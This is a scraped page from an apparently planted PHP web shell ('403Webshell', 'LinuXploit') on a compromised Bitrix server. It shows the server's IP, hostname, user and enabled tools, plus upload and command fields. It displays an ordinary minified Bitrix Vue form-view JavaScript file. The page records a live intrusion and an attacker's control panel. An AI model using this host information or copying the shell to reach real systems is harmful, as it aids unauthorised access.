403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/component/form-view/dist/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/component/form-view/dist/form-view.bundle.min.js
this.BX=this.BX||{};this.BX.Im=this.BX.Im||{};this.BX.Im.V2=this.BX.Im.V2||{};(function(t,e){"use strict";const a={name:"Checkbox",emits:["changeData"],props:{fieldValue:{type:Boolean,required:true},fieldMetadata:{type:Object,required:true}},template:`\n\t\t<input\n\t\t\ttype="checkbox"\n\t\t\t:checked=fieldValue\n\t\t\t:id="fieldMetadata.id"\n\t\t\tclass="bx-im-form-view__field_checkbox"\n\t\t\t@change="(event) => {\n\t\t\t\tthis.$emit('changeData', event.target.checked);\n\t\t\t}"\n\t\t/>\n\t\t<label\n\t\t\tclass="bx-im-form-view__field_label"\n\t\t\t:for="fieldMetadata.id"\n\t\t>\n\t\t\t{{fieldMetadata.label}}\n\t\t</label>\n\t`};const n={name:"Select",components:{Dropdown:e.Dropdown},emits:["changeData"],props:{fieldValue:{type:String,required:true},fieldMetadata:{type:Object,required:true}},template:`\n\t\t<label class="bx-im-form-view__field_label">\n\t\t\t{{fieldMetadata.label}}\n\t\t</label>\n\t\t<Dropdown\n\t\t\tclass="bx-im-form-view__field_select"\n\t\t\t:id="fieldMetadata.id"\n\t\t\t:items="fieldMetadata.options"\n\t\t\t@itemChange="(event) => {\n\t\t\t\tthis.$emit('changeData', event);\n\t\t\t}"\n\t\t/>\n\t`};const o={name:"FormView",components:{Checkbox:a,Select:n},emits:["changeData"],props:{sections:{type:Object,default:{}},formMetadata:{type:Object,required:true},formData:{type:Object,required:true},order:{type:Array,default:[]}},computed:{formatters(){return{boolean:a,select:n}},propsInSection(){const t=Object.keys(this.sections);const e=Object.keys(this.formMetadata);return t.reduce(((t,a)=>{const n=e.filter((t=>this.formMetadata[t].section===a));return{...t,[a]:n}}),{})}},methods:{changeData(t,e){const a=this.formData[t];const n={propName:t,oldValue:a,newValue:e};this.$emit("changeData",n)}},template:`\n\t\t<div class="bx-im-form-view__scope">\n\t\t\t<template v-for="orderItem in order">\n\t\t\t\t<template v-if="sections[orderItem]">\n\t\t\t\t\t<div class="bx-im-form-view__section" :key="orderItem">\n\t\t\t\t\t\t<p class="bx-im-form-view__section_title">\n\t\t\t\t\t\t\t{{sections[orderItem]}}\n\t\t\t\t\t\t</p>\n\t\t\t\t\t\t<div\n\t\t\t\t\t\t\tv-for="propName in propsInSection[orderItem]"\n\t\t\t\t\t\t\tclass="bx-im-form-view__field"\n\t\t\t\t\t\t\t:key="orderItem + '-' + propName"\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t<Component\n\t\t\t\t\t\t\t\t:is="formatters[formMetadata[propName].type]"\n\t\t\t\t\t\t\t\t:fieldMetadata="formMetadata[propName]"\n\t\t\t\t\t\t\t\t:fieldValue="formData[propName]"\n\t\t\t\t\t\t\t\t@changeData="(event) => changeData(propName, event)"\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</template>\n\t\t\t\t<div v-else class="bx-im-form-view__field" :key="orderItem">\n\t\t\t\t\t<Component\n\t\t\t\t\t\t:is="formatters[formMetadata[orderItem].type]"\n\t\t\t\t\t\t:fieldMetadata="formMetadata[orderItem]"\n\t\t\t\t\t\t:fieldValue="formData[orderItem]"\n\t\t\t\t\t\t@changeData="(event) => changeData(orderItem, event)"\n\t\t\t\t\t/>\n\t\t\t\t</div>\n\t\t\t</template>\n\t\t</div>\n\t`};t.FormView=o})(this.BX.Im.V2.Component=this.BX.Im.V2.Component||{},BX.Messenger.v2.Component.Elements);
//# sourceMappingURL=form-view.bundle.map.js

Youez - 2016 - github.com/yon3zu
LinuXploit